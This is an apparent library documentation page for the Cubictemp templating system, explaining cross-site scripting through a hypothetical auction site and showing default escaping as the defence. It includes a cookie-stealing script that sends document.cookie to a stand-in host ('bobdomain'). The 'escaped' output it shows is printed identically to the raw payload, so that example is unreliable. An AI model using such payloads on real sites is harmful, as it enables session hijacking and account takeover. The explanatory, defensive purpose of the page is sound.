Cubictemp includes built-in protection against a very common but much-neglected class of software security problems - cross-site scripting vulnerabilities (commonly referred to as XSS vulnerabilities). First, a quick definition: in the context of web-based applications, an XSS vulnerability occurs when input provided by the user is embedded verbatim in an HTML page without first being escaped. At first sight, this may appear to be a relatively benign circumstance, but the reality is that XSS vulnerabilities can cause serious security problems. Since we think that it is important that every web developer fully understands the causes and effects of XSS problems, we will work through a fairly detailed example of the problem below.
To make our XSS example concrete, let's pretend that we are evaluating the security of CubeTrader, a hypothetical Ebay-like auctioning application. CubeTrader users log in to the system using a username and password. After a user logs in, a cookie containing a session ID is set on the user's browser. By checking this session ID every time the user loads a page, CubeTrader can tell that it has already authenticated the user, and the user can happily use the application without re-authenticating at every page. For the purposes of this example, we will assume that any logged-in CubeTrader user is able to create and view auctions.
Now, let's assume that CubeTrader has two users, Sue and Bob. Bob is a hacker, and wants to take over Sue's trading account. Bob knows that when he creates a new auction, the title he specifies for the auction gets inserted verbatim into the page. The relevant piece of HTML looks like this:
<h1> *Bob's title goes here* </h1>
Since the title is unescaped, Bob can insert HTML tags, and even Javascript in this space. By cleverly crafting his title, Bob can steal the session cookie of any user viewing this page, by making the user's browser post the cookie to a web-based form of his choice. Here is what the HTML snippet above looks like when after Bob has set the malicious title:
<h1>
<script>
document.location='http://bobdomain/cookie.cgi?' + document.cookie
</script>
</h1>
All Bob has to do now is to wait until Sue views this page. When she does, her sessionID will be posted to Bob's web form. Now he can simply set this cookie on his browser, and then load up CubeTracker. CubeTracker will check the cookie, assume that he is Sue (who has already correctly authenticated), and allow him access to Sue's account.
The authentication and session tracking mechanism described above is used, with minor variations, by the majority of web applications out there. Our example is slightly contrived, and glosses over many aspects that would complicate matters for Bob in real life. In essence, however, the example above is complete. Note, also, that this is only one example of an XSS exploit. The complex intersection between web application vulnerabilities, browser vulnerabilities, and execution of arbitrary Javascript means that the number of ways of exploiting an XSS vulnerability is limited only by the imagination of the attacker.
Cubictemp uses a simple but effective mechanism to help software developers avoid XSS vulnerabilities - all substitutions are escaped by default. Let's revisit the example above. Say we had a Cubictemp template that looked like this:
<h1> @!title!@ </h1>
Now when Bob sets his malicious title, the rendered template looks like this:
<h1>
<script>
document.location='http://bobdomain/cookie.cgi?' + document.cookie
</script>
</h1>
The special HTML characters < and > have been converted to their HTML escaped equivalents. Instead of interpreting the script above as Javascript, the browser will simply display Bob's title inline, angle brackets and all.
<--previous | contents | next--> | (11/16/04) |